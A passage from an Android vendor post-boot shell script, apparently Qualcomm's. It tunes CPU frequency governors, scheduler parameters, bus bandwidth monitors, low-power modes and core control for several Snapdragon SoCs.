echo 39000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/above_hispeed_delay
echo 90 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/go_hispeed_load
echo 20000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/timer_rate
echo 800000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/hispeed_freq
echo 0 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/io_is_busy
echo "1 800000:90" > /sys/devices/system/cpu/cpu4/cpufreq/interactive/target_loads
echo 40000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/min_sample_time
echo 40000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/sampling_down_factor
echo 800000 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_min_freq
# enable thermal core_control now
echo 1 > /sys/module/msm_thermal/core_control/enabled
# Bring up all cores online
echo 1 > /sys/devices/system/cpu/cpu1/online
echo 1 > /sys/devices/system/cpu/cpu2/online
echo 1 > /sys/devices/system/cpu/cpu3/online
echo 1 > /sys/devices/system/cpu/cpu5/online
echo 1 > /sys/devices/system/cpu/cpu6/online
echo 1 > /sys/devices/system/cpu/cpu7/online
# Enable low power modes
echo 0 > /sys/module/lpm_levels/parameters/sleep_disabled
# HMP scheduler (big.Little cluster related) settings
echo 93 > /proc/sys/kernel/sched_upmigrate
echo 83 > /proc/sys/kernel/sched_downmigrate
# Enable sched guided freq control
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/use_sched_load
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/use_migration_notif
echo 1 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/use_sched_load
echo 1 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/use_migration_notif
echo 50000 > /proc/sys/kernel/sched_freq_inc_notify
echo 50000 > /proc/sys/kernel/sched_freq_dec_notify
# Enable core control
# insmod /system/lib/modules/core_ctl.ko
echo 2 > /sys/devices/system/cpu/cpu0/core_ctl/min_cpus
echo 4 > /sys/devices/system/cpu/cpu0/core_ctl/max_cpus
echo 68 > /sys/devices/system/cpu/cpu0/core_ctl/busy_up_thres
echo 40 > /sys/devices/system/cpu/cpu0/core_ctl/busy_down_thres
echo 100 > /sys/devices/system/cpu/cpu0/core_ctl/offline_delay_ms
case "$revision" in
"3.0")
# Enable dynamic clock gatin
echo 1 > /sys/module/lpm_levels/lpm_workarounds/dynamic_clock_gating
;;
esac
fi
;;
esac
# Set Memory parameters
configure_memory_parameters
;;
esac
case "$target" in
"msm8952")
if [ -f /sys/devices/soc0/soc_id ]; then
soc_id=`cat /sys/devices/soc0/soc_id`
else
soc_id=`cat /sys/devices/system/soc/soc0/id`
fi
case "$soc_id" in
"264" | "289")
# Apply Scheduler and Governor settings for 8952
# HMP scheduler settings
echo 3 > /proc/sys/kernel/sched_window_stats_policy
echo 3 > /proc/sys/kernel/sched_ravg_hist_size
echo 20000000 > /proc/sys/kernel/sched_ravg_window
# HMP Task packing settings
echo 20 > /proc/sys/kernel/sched_small_task
echo 30 > /sys/devices/system/cpu/cpu0/sched_mostly_idle_load
echo 30 > /sys/devices/system/cpu/cpu1/sched_mostly_idle_load
echo 30 > /sys/devices/system/cpu/cpu2/sched_mostly_idle_load
echo 30 > /sys/devices/system/cpu/cpu3/sched_mostly_idle_load
echo 30 > /sys/devices/system/cpu/cpu4/sched_mostly_idle_load
echo 30 > /sys/devices/system/cpu/cpu5/sched_mostly_idle_load
echo 30 > /sys/devices/system/cpu/cpu6/sched_mostly_idle_load
echo 30 > /sys/devices/system/cpu/cpu7/sched_mostly_idle_load
echo 3 > /sys/devices/system/cpu/cpu0/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu1/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu2/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu3/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu4/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu5/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu6/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu7/sched_mostly_idle_nr_run
echo 0 > /sys/devices/system/cpu/cpu0/sched_prefer_idle
echo 0 > /sys/devices/system/cpu/cpu1/sched_prefer_idle
echo 0 > /sys/devices/system/cpu/cpu2/sched_prefer_idle
echo 0 > /sys/devices/system/cpu/cpu3/sched_prefer_idle
echo 0 > /sys/devices/system/cpu/cpu4/sched_prefer_idle
echo 0 > /sys/devices/system/cpu/cpu5/sched_prefer_idle
echo 0 > /sys/devices/system/cpu/cpu6/sched_prefer_idle
echo 0 > /sys/devices/system/cpu/cpu7/sched_prefer_idle
echo 0 > /proc/sys/kernel/sched_boost
for devfreq_gov in /sys/class/devfreq/*qcom,mincpubw*/governor
do
echo "cpufreq" > $devfreq_gov
done
for devfreq_gov in /sys/class/devfreq/*qcom,cpubw*/governor
do
echo "bw_hwmon" > $devfreq_gov
for cpu_io_percent in /sys/class/devfreq/*qcom,cpubw*/bw_hwmon/io_percent
do
echo 20 > $cpu_io_percent
done
for cpu_guard_band in /sys/class/devfreq/*qcom,cpubw*/bw_hwmon/guard_band_mbps
do
echo 30 > $cpu_guard_band
done
done
for gpu_bimc_io_percent in /sys/class/devfreq/qcom,gpubw*/bw_hwmon/io_percent
do
echo 40 > $gpu_bimc_io_percent
done
# disable thermal & BCL core_control to update interactive gov settings
echo 0 > /sys/module/msm_thermal/core_control/enabled
for mode in /sys/devices/soc.0/qcom,bcl.*/mode
do
echo -n disable > $mode
done
for hotplug_mask in /sys/devices/soc.0/qcom,bcl.*/hotplug_mask
do
bcl_hotplug_mask=`cat $hotplug_mask`
echo 0 > $hotplug_mask
done
for hotplug_soc_mask in /sys/devices/soc.0/qcom,bcl.*/hotplug_soc_mask
do
bcl_soc_hotplug_mask=`cat $hotplug_soc_mask`
echo 0 > $hotplug_soc_mask
done
for mode in /sys/devices/soc.0/qcom,bcl.*/mode
do
echo -n enable > $mode
done
# enable governor for perf cluster
echo 1 > /sys/devices/system/cpu/cpu0/online
echo "interactive" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo "19000 1113600:39000" > /sys/devices/system/cpu/cpu0/cpufreq/interactive/above_hispeed_delay
echo 85 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/go_hispeed_load
echo 20000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/timer_rate
echo 1113600 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/hispeed_freq
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/io_is_busy
echo "1 960000:85 1113600:90 1344000:80" > /sys/devices/system/cpu/cpu0/cpufreq/interactive/target_loads
echo 40000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/min_sample_time
echo 40000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/sampling_down_factor
echo 960000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
# enable governor for power cluster
echo 1 > /sys/devices/system/cpu/cpu4/online
echo "interactive" > /sys/devices/system/cpu/cpu4/cpufreq/scaling_governor
echo 39000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/above_hispeed_delay
echo 90 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/go_hispeed_load
echo 20000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/timer_rate
echo 806400 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/hispeed_freq
echo 0 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/io_is_busy
echo "1 806400:90" > /sys/devices/system/cpu/cpu4/cpufreq/interactive/target_loads
echo 40000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/min_sample_time
echo 40000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/sampling_down_factor
echo 806400 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_min_freq
# Bring up all cores online
echo 1 > /sys/devices/system/cpu/cpu1/online
echo 1 > /sys/devices/system/cpu/cpu2/online
echo 1 > /sys/devices/system/cpu/cpu3/online
echo 1 > /sys/devices/system/cpu/cpu4/online
echo 1 > /sys/devices/system/cpu/cpu5/online
echo 1 > /sys/devices/system/cpu/cpu6/online
echo 1 > /sys/devices/system/cpu/cpu7/online
# Enable Low power modes
echo 0 > /sys/module/lpm_levels/parameters/sleep_disabled
# HMP scheduler (big.Little cluster related) settings
echo 93 > /proc/sys/kernel/sched_upmigrate
echo 83 > /proc/sys/kernel/sched_downmigrate
# Enable sched guided freq control
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/use_sched_load
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/use_migration_notif
echo 1 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/use_sched_load
echo 1 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/use_migration_notif
echo 50000 > /proc/sys/kernel/sched_freq_inc_notify
echo 50000 > /proc/sys/kernel/sched_freq_dec_notify
# Enable core control
echo 2 > /sys/devices/system/cpu/cpu0/core_ctl/min_cpus
echo 4 > /sys/devices/system/cpu/cpu0/core_ctl/max_cpus
echo 68 > /sys/devices/system/cpu/cpu0/core_ctl/busy_up_thres
echo 40 > /sys/devices/system/cpu/cpu0/core_ctl/busy_down_thres
echo 100 > /sys/devices/system/cpu/cpu0/core_ctl/offline_delay_ms
echo 1 > /sys/devices/system/cpu/cpu0/core_ctl/is_big_cluster
# re-enable thermal & BCL core_control now
echo 1 > /sys/module/msm_thermal/core_control/enabled
for mode in /sys/devices/soc.0/qcom,bcl.*/mode
do
echo -n disable > $mode
done
for hotplug_mask in /sys/devices/soc.0/qcom,bcl.*/hotplug_mask
do
echo $bcl_hotplug_mask > $hotplug_mask
done
for hotplug_soc_mask in /sys/devices/soc.0/qcom,bcl.*/hotplug_soc_mask
do
echo $bcl_soc_hotplug_mask > $hotplug_soc_mask
done
for mode in /sys/devices/soc.0/qcom,bcl.*/mode
do
echo -n enable > $mode
done
# Enable dynamic clock gating
echo 1 > /sys/module/lpm_levels/lpm_workarounds/dynamic_clock_gating
# Enable timer migration to little cluster
echo 1 > /proc/sys/kernel/power_aware_timer_migration
# Set Memory parameters
configure_memory_parameters
;;
*)
panel=`cat /sys/class/graphics/fb0/modes`
if [ "${panel:5:1}" == "x" ]; then
panel=${panel:2:3}
else
panel=${panel:2:4}
fi
# Apply Scheduler and Governor settings for 8976
# SoC IDs are 266, 274, 277, 278
# HMP scheduler (big.Little cluster related) settings
echo 95 > /proc/sys/kernel/sched_upmigrate
echo 85 > /proc/sys/kernel/sched_downmigrate
echo 2 > /proc/sys/kernel/sched_window_stats_policy
echo 5 > /proc/sys/kernel/sched_ravg_hist_size
echo 3 > /sys/devices/system/cpu/cpu0/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu1/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu2/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu3/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu4/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu5/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu6/sched_mostly_idle_nr_run
echo 3 > /sys/devices/system/cpu/cpu7/sched_mostly_idle_nr_run
for devfreq_gov in /sys/class/devfreq/*qcom,mincpubw*/governor
do
echo "cpufreq" > $devfreq_gov
done
for devfreq_gov in /sys/class/devfreq/*qcom,cpubw*/governor
do
echo "bw_hwmon" > $devfreq_gov
for cpu_io_percent in /sys/class/devfreq/*qcom,cpubw*/bw_hwmon/io_percent
do
echo 20 > $cpu_io_percent
done
for cpu_guard_band in /sys/class/devfreq/*qcom,cpubw*/bw_hwmon/guard_band_mbps
do
echo 30 > $cpu_guard_band
done
done
for gpu_bimc_io_percent in /sys/class/devfreq/qcom,gpubw*/bw_hwmon/io_percent
do
echo 40 > $gpu_bimc_io_percent
done
# disable thermal & BCL core_control to update interactive gov settings
echo 0 > /sys/module/msm_thermal/core_control/enabled
for mode in /sys/devices/soc.0/qcom,bcl.*/mode
do
echo -n disable > $mode
done
for hotplug_mask in /sys/devices/soc.0/qcom,bcl.*/hotplug_mask
do
bcl_hotplug_mask=`cat $hotplug_mask`
echo 0 > $hotplug_mask
done
for hotplug_soc_mask in /sys/devices/soc.0/qcom,bcl.*/hotplug_soc_mask
do
bcl_soc_hotplug_mask=`cat $hotplug_soc_mask`
echo 0 > $hotplug_soc_mask
done
for mode in /sys/devices/soc.0/qcom,bcl.*/mode
do
echo -n enable > $mode
done
# enable governor for power cluster
echo 1 > /sys/devices/system/cpu/cpu0/online
echo "interactive" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo 80 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/go_hispeed_load
echo 20000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/timer_rate
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/io_is_busy
echo 40000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/min_sample_time
echo 691200 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
# enable governor for perf cluster
echo 1 > /sys/devices/system/cpu/cpu4/online
echo "interactive" > /sys/devices/system/cpu/cpu4/cpufreq/scaling_governor
echo 85 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/go_hispeed_load
echo 20000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/timer_rate
echo 0 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/io_is_busy
echo 40000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/min_sample_time
echo 40000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/sampling_down_factor
echo 883200 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_min_freq
echo 60000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/max_freq_hysteresis
if [ $panel -gt 1080 ]; then
#set texture cache size for resolution greater than 1080p
setprop ro.hwui.texture_cache_size 72
fi
echo 59000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/above_hispeed_delay
echo 1305600 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/hispeed_freq
echo "1 691200:80" > /sys/devices/system/cpu/cpu0/cpufreq/interactive/target_loads
echo 1382400 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/hispeed_freq
echo "19000 1382400:39000" > /sys/devices/system/cpu/cpu4/cpufreq/interactive/above_hispeed_delay
echo "85 1382400:90 1747200:80" > /sys/devices/system/cpu/cpu4/cpufreq/interactive/target_loads
# HMP Task packing settings for 8976
echo 30 > /proc/sys/kernel/sched_small_task
echo 20 > /sys/devices/system/cpu/cpu0/sched_mostly_idle_load
echo 20 > /sys/devices/system/cpu/cpu1/sched_mostly_idle_load
echo 20 > /sys/devices/system/cpu/cpu2/sched_mostly_idle_load
echo 20 > /sys/devices/system/cpu/cpu3/sched_mostly_idle_load
echo 20 > /sys/devices/system/cpu/cpu4/sched_mostly_idle_load
echo 20 > /sys/devices/system/cpu/cpu5/sched_mostly_idle_load
echo 20 > /sys/devices/system/cpu/cpu6/sched_mostly_idle_load
echo 20 > /sys/devices/system/cpu/cpu7/sched_mostly_idle_load
echo 0 > /proc/sys/kernel/sched_boost
# Bring up all cores online
echo 1 > /sys/devices/system/cpu/cpu1/online
echo 1 > /sys/devices/system/cpu/cpu2/online
echo 1 > /sys/devices/system/cpu/cpu3/online
echo 1 > /sys/devices/system/cpu/cpu4/online
echo 1 > /sys/devices/system/cpu/cpu5/online
echo 1 > /sys/devices/system/cpu/cpu6/online
echo 1 > /sys/devices/system/cpu/cpu7/online
#Disable CPU retention modes for 32bit builds
ProductName=`getprop ro.product.name`
if [ "$ProductName" == "msm8952_32" ] || [ "$ProductName" == "msm8952_32_LMT" ]; then
echo N > /sys/module/lpm_levels/system/a72/cpu4/retention/idle_enabled
echo N > /sys/module/lpm_levels/system/a72/cpu5/retention/idle_enabled
echo N > /sys/module/lpm_levels/system/a72/cpu6/retention/idle_enabled
echo N > /sys/module/lpm_levels/system/a72/cpu7/retention/idle_enabled
fi
if [ `cat /sys/devices/soc0/revision` == "1.0" ]; then
# Disable l2-pc and l2-gdhs low power modes
echo N > /sys/module/lpm_levels/system/a53/a53-l2-gdhs/idle_enabled
echo N > /sys/module/lpm_levels/system/a72/a72-l2-gdhs/idle_enabled
echo N > /sys/module/lpm_levels/system/a53/a53-l2-pc/idle_enabled
echo N > /sys/module/lpm_levels/system/a72/a72-l2-pc/idle_enabled
fi
# Enable LPM Prediction
echo 1 > /sys/module/lpm_levels/parameters/lpm_prediction
# Enable Low power modes
echo 0 > /sys/module/lpm_levels/parameters/sleep_disabled
# Disable L2 GDHS on 8976
echo N > /sys/module/lpm_levels/system/a53/a53-l2-gdhs/idle_enabled
echo N > /sys/module/lpm_levels/system/a72/a72-l2-gdhs/idle_enabled
# Enable sched guided freq control
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/use_sched_load
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/use_migration_notif
echo 1 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/use_sched_load
echo 1 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/use_migration_notif
echo 50000 > /proc/sys/kernel/sched_freq_inc_notify
echo 50000 > /proc/sys/kernel/sched_freq_dec_notify
# Enable core control
#for 8976
echo 2 > /sys/devices/system/cpu/cpu4/core_ctl/min_cpus
echo 4 > /sys/devices/system/cpu/cpu4/core_ctl/max_cpus
echo 68 > /sys/devices/system/cpu/cpu4/core_ctl/busy_up_thres
echo 40 > /sys/devices/system/cpu/cpu4/core_ctl/busy_down_thres
echo 100 > /sys/devices/system/cpu/cpu4/core_ctl/offline_delay_ms
echo 1 > /sys/devices/system/cpu/cpu4/core_ctl/is_big_cluster
# re-enable thermal & BCL core_control now
echo 1 > /sys/module/msm_thermal/core_control/enabled
for mode in /sys/devices/soc.0/qcom,bcl.*/mode
do
echo -n disable > $mode
done
for hotplug_mask in /sys/devices/soc.0/qcom,bcl.*/hotplug_mask
do
echo $bcl_hotplug_mask > $hotplug_mask
done
for hotplug_soc_mask in /sys/devices/soc.0/qcom,bcl.*/hotplug_soc_mask
do
echo $bcl_soc_hotplug_mask > $hotplug_soc_mask
done
for mode in /sys/devices/soc.0/qcom,bcl.*/mode
do
echo -n enable > $mode
done
# Enable timer migration to little cluster
echo 1 > /proc/sys/kernel/power_aware_timer_migration
case "$soc_id" in
"277" | "278")
# Start energy-awareness for 8976
start energy-awareness
;;
esac
#enable sched colocation and colocation inheritance
echo 130 > /proc/sys/kernel/sched_grp_upmigrate
echo 110 > /proc/sys/kernel/sched_grp_downmigrate
echo 1 > /proc/sys/kernel/sched_enable_thread_grouping
# Set Memory parameters
configure_memory_parameters
;;
esac
#Enable Memory Features
enable_memory_features
restorecon -R /sys/devices/system/cpu
;;
esac
case "$target" in
"msm8953")
if [ -f /sys/devices/soc0/soc_id ]; then
soc_id=`cat /sys/devices/soc0/soc_id`
else
soc_id=`cat /sys/devices/system/soc/soc0/id`
fi
if [ -f /sys/devices/soc0/hw_platform ]; then
hw_platform=`cat /sys/devices/soc0/hw_platform`
else
hw_platform=`cat /sys/devices/system/soc/soc0/hw_platform`
fi
if [ -f /sys/devices/soc0/platform_subtype_id ]; then
platform_subtype_id=`cat /sys/devices/soc0/platform_subtype_id`
fi
echo 0 > /proc/sys/kernel/sched_boost
case "$soc_id" in
"293" | "304" | "338" | "351")
# Start Host based Touch processing
case "$hw_platform" in
"MTP" | "Surf" | "RCM" )
#if this directory is present, it means that a
#1200p panel is connected to the device.
dir="/sys/bus/i2c/devices/3-0038"
if [ ! -d "$dir" ]; then
start_hbtp
fi
;;
esac
if [ $soc_id -eq "338" ]; then
case "$hw_platform" in
"QRD" )
if [ $platform_subtype_id -eq "1" ]; then
start_hbtp
fi
;;
esac
fi
#init task load, restrict wakeups to preferred cluster
echo 15 > /proc/sys/kernel/sched_init_task_load
for devfreq_gov in /sys/class/devfreq/qcom,mincpubw*/governor
do
echo "cpufreq" > $devfreq_gov
done
for devfreq_gov in /sys/class/devfreq/soc:qcom,cpubw/governor
do
echo "bw_hwmon" > $devfreq_gov
for cpu_io_percent in /sys/class/devfreq/soc:qcom,cpubw/bw_hwmon/io_percent
do
echo 34 > $cpu_io_percent
done
for cpu_guard_band in /sys/class/devfreq/soc:qcom,cpubw/bw_hwmon/guard_band_mbps
do
echo 0 > $cpu_guard_band
done
for cpu_hist_memory in /sys/class/devfreq/soc:qcom,cpubw/bw_hwmon/hist_memory
do
echo 20 > $cpu_hist_memory
done
for cpu_hyst_length in /sys/class/devfreq/soc:qcom,cpubw/bw_hwmon/hyst_length
do
echo 10 > $cpu_hyst_length
done
for cpu_idle_mbps in /sys/class/devfreq/soc:qcom,cpubw/bw_hwmon/idle_mbps
do
echo 1600 > $cpu_idle_mbps
done
for cpu_low_power_delay in /sys/class/devfreq/soc:qcom,cpubw/bw_hwmon/low_power_delay
do
echo 20 > $cpu_low_power_delay
done
for cpu_low_power_io_percent in /sys/class/devfreq/soc:qcom,cpubw/bw_hwmon/low_power_io_percent
do
echo 34 > $cpu_low_power_io_percent
done
for cpu_mbps_zones in /sys/class/devfreq/soc:qcom,cpubw/bw_hwmon/mbps_zones
do
echo "1611 3221 5859 6445 7104" > $cpu_mbps_zones
done
for cpu_sample_ms in /sys/class/devfreq/soc:qcom,cpubw/bw_hwmon/sample_ms
do
echo 4 > $cpu_sample_ms
done
for cpu_up_scale in /sys/class/devfreq/soc:qcom,cpubw/bw_hwmon/up_scale
do
echo 250 > $cpu_up_scale
done
for cpu_min_freq in /sys/class/devfreq/soc:qcom,cpubw/min_freq
do
echo 1611 > $cpu_min_freq
done
done
for gpu_bimc_io_percent in /sys/class/devfreq/soc:qcom,gpubw/bw_hwmon/io_percent
do
echo 40 > $gpu_bimc_io_percent
done
# disable thermal & BCL core_control to update interactive gov settings
echo 0 > /sys/module/msm_thermal/core_control/enabled
for mode in /sys/devices/soc.0/qcom,bcl.*/mode
do
echo -n disable > $mode
done
for hotplug_mask in /sys/devices/soc.0/qcom,bcl.*/hotplug_mask
do
bcl_hotplug_mask=`cat $hotplug_mask`
echo 0 > $hotplug_mask
done
for hotplug_soc_mask in /sys/devices/soc.0/qcom,bcl.*/hotplug_soc_mask
do
bcl_soc_hotplug_mask=`cat $hotplug_soc_mask`
echo 0 > $hotplug_soc_mask
done
for mode in /sys/devices/soc.0/qcom,bcl.*/mode
do
echo -n enable > $mode
done
#if the kernel version >=4.9,use the schedutil governor
KernelVersionStr=`cat /proc/sys/kernel/osrelease`
KernelVersionS=${KernelVersionStr:2:2}
KernelVersionA=${KernelVersionStr:0:1}
KernelVersionB=${KernelVersionS%.*}
if [ $KernelVersionA -ge 4 ] && [ $KernelVersionB -ge 9 ]; then
8953_sched_dcvs_eas
else
8953_sched_dcvs_hmp
fi
echo 652800 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
# Bring up all cores online
echo 1 > /sys/devices/system/cpu/cpu1/online
echo 1 > /sys/devices/system/cpu/cpu2/online
echo 1 > /sys/devices/system/cpu/cpu3/online
echo 1 > /sys/devices/system/cpu/cpu4/online
echo 1 > /sys/devices/system/cpu/cpu5/online
echo 1 > /sys/devices/system/cpu/cpu6/online
echo 1 > /sys/devices/system/cpu/cpu7/online
# Enable low power modes
echo 0 > /sys/module/lpm_levels/parameters/sleep_disabled
# re-enable thermal & BCL core_control now
echo 1 > /sys/module/msm_thermal/core_control/enabled
for mode in /sys/devices/soc.0/qcom,bcl.*/mode
do
echo -n disable > $mode
done
for hotplug_mask in /sys/devices/soc.0/qcom,bcl.*/hotplug_mask
do
echo $bcl_hotplug_mask > $hotplug_mask
done
for hotplug_soc_mask in /sys/devices/soc.0/qcom,bcl.*/hotplug_soc_mask
do
echo $bcl_soc_hotplug_mask > $hotplug_soc_mask
done
for mode in /sys/devices/soc.0/qcom,bcl.*/mode
do
echo -n enable > $mode
done
# SMP scheduler
echo 85 > /proc/sys/kernel/sched_upmigrate
echo 85 > /proc/sys/kernel/sched_downmigrate
# Set Memory parameters
configure_memory_parameters
;;
esac
case "$soc_id" in
"349" | "350")
# Start Host based Touch processing
case "$hw_platform" in
"MTP" | "Surf" | "RCM" | "QRD" )
start_hbtp
;;
esac
for devfreq_gov in /sys/class/devfreq/qcom,mincpubw*/governor
do
echo "cpufreq" > $devfreq_gov
done
for cpubw in /sys/class/devfreq/*qcom,cpubw*
do
echo "bw_hwmon" > $cpubw/governor
echo 50 > $cpubw/polling_interval
echo "1611 3221 5859 6445 7104" > $cpubw/bw_hwmon/mbps_zones
echo 4 > $cpubw/bw_hwmon/sample_ms
echo 34 > $cpubw/bw_hwmon/io_percent
echo 20 > $cpubw/bw_hwmon/hist_memory
echo 80 > $cpubw/bw_hwmon/down_thres
echo 0 > $cpubw/bw_hwmon/hyst_length
echo 0 > $cpubw/bw_hwmon/guard_band_mbps
echo 250 > $cpubw/bw_hwmon/up_scale
echo 1600 > $cpubw/bw_hwmon/idle_mbps
done
# Configure DCC module to capture critical register contents when device crashes
for DCC_PATH in /sys/bus/platform/devices/*.dcc*
do
echo 0 > $DCC_PATH/enable
echo cap > $DCC_PATH/func_type
echo sram > $DCC_PATH/data_sink
echo 1 > $DCC_PATH/config_reset
# Register specifies APC CPR closed-loop settled voltage for current voltage corner
echo 0xb1d2c18 1 > $DCC_PATH/config
# Register specifies SW programmed open-loop voltage for current voltage corner
echo 0xb1d2900 1 > $DCC_PATH/config
# Register specifies APM switch settings and APM FSM state
echo 0xb1112b0 1 > $DCC_PATH/config
# Register specifies CPR mode change state and also #online cores input to CPR HW
echo 0xb018798 1 > $DCC_PATH/config
echo 1 > $DCC_PATH/enable
done
# disable thermal & BCL core_control to update interactive gov settings
echo 0 > /sys/module/msm_thermal/core_control/enabled
for mode in /sys/devices/soc.0/qcom,bcl.*/mode
do
echo -n disable > $mode
done
for hotplug_mask in /sys/devices/soc.0/qcom,bcl.*/hotplug_mask
do
bcl_hotplug_mask=`cat $hotplug_mask`
echo 0 > $hotplug_mask
done
for hotplug_soc_mask in /sys/devices/soc.0/qcom,bcl.*/hotplug_soc_mask
do
bcl_soc_hotplug_mask=`cat $hotplug_soc_mask`
echo 0 > $hotplug_soc_mask
done
for mode in /sys/devices/soc.0/qcom,bcl.*/mode
do
echo -n enable > $mode
done
# configure governor settings for little cluster
echo 1 > /sys/devices/system/cpu/cpu0/online
echo "schedutil" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/rate_limit_us
echo 1363200 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/hispeed_freq
#default value for hispeed_load is 90, for sdm632 it should be 85
echo 85 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/hispeed_load
# sched_load_boost as -6 is equivalent to target load as 85.
echo -6 > /sys/devices/system/cpu/cpu0/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu1/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu2/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu3/sched_load_boost
# configure governor settings for big cluster
echo 1 > /sys/devices/system/cpu/cpu4/online
echo "schedutil" > /sys/devices/system/cpu/cpu4/cpufreq/scaling_governor
echo 0 > /sys/devices/system/cpu/cpu4/cpufreq/schedutil/rate_limit_us
echo 1401600 > /sys/devices/system/cpu/cpu4/cpufreq/schedutil/hispeed_freq
#default value for hispeed_load is 90, for sdm632 it should be 85
echo 85 > /sys/devices/system/cpu/cpu4/cpufreq/schedutil/hispeed_load
# sched_load_boost as -6 is equivalent to target load as 85.
echo -6 > /sys/devices/system/cpu/cpu4/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu5/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu7/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu6/sched_load_boost
echo 614400 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
echo 633600 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_min_freq
# cpuset settings
echo 0-3 > /dev/cpuset/background/cpus
echo 0-3 > /dev/cpuset/system-background/cpus
# choose idle CPU for top app tasks
echo 1 > /dev/stune/top-app/schedtune.prefer_idle
# re-enable thermal & BCL core_control now
echo 1 > /sys/module/msm_thermal/core_control/enabled
for mode in /sys/devices/soc.0/qcom,bcl.*/mode
do
echo -n disable > $mode
done
for hotplug_mask in /sys/devices/soc.0/qcom,bcl.*/hotplug_mask
do
echo $bcl_hotplug_mask > $hotplug_mask
done
for hotplug_soc_mask in /sys/devices/soc.0/qcom,bcl.*/hotplug_soc_mask
do
echo $bcl_soc_hotplug_mask > $hotplug_soc_mask
done
for mode in /sys/devices/soc.0/qcom,bcl.*/mode
do
echo -n enable > $mode
done
# Disable Core control
echo 0 > /sys/devices/system/cpu/cpu0/core_ctl/enable
echo 0 > /sys/devices/system/cpu/cpu4/core_ctl/enable
# Bring up all cores online
echo 1 > /sys/devices/system/cpu/cpu1/online
echo 1 > /sys/devices/system/cpu/cpu2/online
echo 1 > /sys/devices/system/cpu/cpu3/online
echo 1 > /sys/devices/system/cpu/cpu4/online
echo 1 > /sys/devices/system/cpu/cpu5/online
echo 1 > /sys/devices/system/cpu/cpu6/online
echo 1 > /sys/devices/system/cpu/cpu7/online
# Enable low power modes
echo 0 > /sys/module/lpm_levels/parameters/sleep_disabled
# Set Memory parameters
configure_memory_parameters
# Setting b.L scheduler parameters
echo 76 > /proc/sys/kernel/sched_downmigrate
echo 86 > /proc/sys/kernel/sched_upmigrate
